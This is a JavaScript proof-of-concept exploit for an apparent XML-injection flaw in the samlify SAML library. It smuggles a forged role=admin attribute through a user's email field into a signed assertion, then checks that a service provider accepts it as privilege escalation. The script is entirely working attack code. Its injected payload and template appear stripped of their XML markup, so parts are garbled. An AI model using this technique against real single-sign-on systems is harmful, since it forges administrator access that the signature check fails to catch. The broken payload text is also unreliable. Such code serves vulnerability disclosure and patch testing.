// CVE-2026-46490 - samlify < 2.13.0 - XML injection in AttributeValue (signed-assertion privilege escalation) const fs = require('fs'); const saml = require('samlify'); const validator = require('@authenio/samlify-node-xmllint'); saml.setSchemaValidator(validator); const idpKey = fs.readFileSync(__dirname + '/idp-key.pem'); const idpCert = fs.readFileSync(__dirname + '/idp-cert.pem'); const spCert = fs.readFileSync(__dirname + '/sp-cert.pem'); // Identity Provider: response template carries an "email" attribute whose value is user-controlled. const idp = saml.IdentityProvider({ entityID: 'https://idp.lab', privateKey: idpKey, signingCert: idpCert, isAssertionEncrypted: false, singleSignOnService: [{ Binding: 'urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect', Location: 'https://idp.lab/sso' }], loginResponseTemplate: { context: '{Issuer}{Issuer}{NameID}{Audience}{AttributeStatement}', attributes: [ { name: 'email', valueTag: 'email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' }, ], }, }); const sp = saml.ServiceProvider({ entityID: 'https://sp.lab', authnRequestsSigned: false, wantAssertionsSigned: true, signingCert: spCert, assertionConsumerService: [{ Binding: saml.Constants.namespace.binding.post, Location: 'https://sp.lab/acs' }], }); // The attacker only controls their own profile field (email). They inject XML markup that closes the // email attribute and adds a forged role=admin attribute, then re-opens a throwaway attribute so the // template's trailing stays balanced. const INJ = 'eve@evil.com' + 'admin' + ''; const user = { email: INJ }; (async () => { const requestInfo = { extract: { request: { id: '_req123' } } }; const { context } = await idp.createLoginResponse( sp, requestInfo, 'post', user, // custom tag replacement: map our user.email into the {email} attribute placeholder (template) => { const id = idp.entitySetting.generateID ? idp.entitySetting.generateID() : '_' + Date.now(); const now = new Date(); const after = new Date(now.getTime() + 5 * 60000); const values = { ID: id, AssertionID: '_a' + id, Issuer: 'https://idp.lab', IssueInstant: now.toISOString(), Destination: 'https://sp.lab/acs', InResponseTo: '_req123', NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress', NameID: 'eve@evil.com', SubjectConfirmationDataNotOnOrAfter: after.toISOString(), SubjectRecipient: 'https://sp.lab/acs', ConditionsNotBefore: now.toISOString(), ConditionsNotOnOrAfter: after.toISOString(), Audience: 'https://sp.lab', attrEmail: INJ, }; return { id, context: saml.SamlLib.replaceTagsByValue(template, values) }; } ); const xml = Buffer.from(context, 'base64').toString(); console.log('=== injected forged attribute present in the signed assertion? ==='); console.log(/admin/.test(xml) ? '>>> INJECTION CONFIRMED: forged admin smuggled into the signed assertion' : 'not injected'); // IMPACT: a Service Provider validates the IdP signature (which covers the forged attribute, // because injection happens BEFORE signing) and consumes role=admin as authoritative. const idpForSp = saml.IdentityProvider({ entityID: 'https://idp.lab', signingCert: idpCert, singleSignOnService: [{ Binding: 'urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect', Location: 'https://idp.lab/sso' }], }); const spParser = saml.ServiceProvider({ entityID: 'https://sp.lab', authnRequestsSigned: false, wantAssertionsSigned: true, assertionConsumerService: [{ Binding: saml.Constants.namespace.binding.post, Location: 'https://sp.lab/acs' }], }); try { const parsed = await spParser.parseLoginResponse(idpForSp, 'post', { body: { SAMLResponse: context } }); const attrs = parsed.extract.attributes || {}; console.log('\n=== SP-side result (signature VALIDATED by samlify) ==='); console.log('extracted attributes:', JSON.stringify(attrs)); console.log(attrs.role === 'admin' || (Array.isArray(attrs.role) && attrs.role.includes('admin')) ? '>>> PRIVILEGE ESCALATION CONFIRMED: SP accepted a signature-valid assertion granting role=admin' : '(role not surfaced by this SP attribute mapping, but it is present and signed in the assertion)'); } catch (e) { console.log('\n[SP parse] ' + (e.message || JSON.stringify(e)) + ' (assertion + forged attribute shown above are signed)'); } })().catch(e => { console.error('ERR', e.message); process.exit(1); });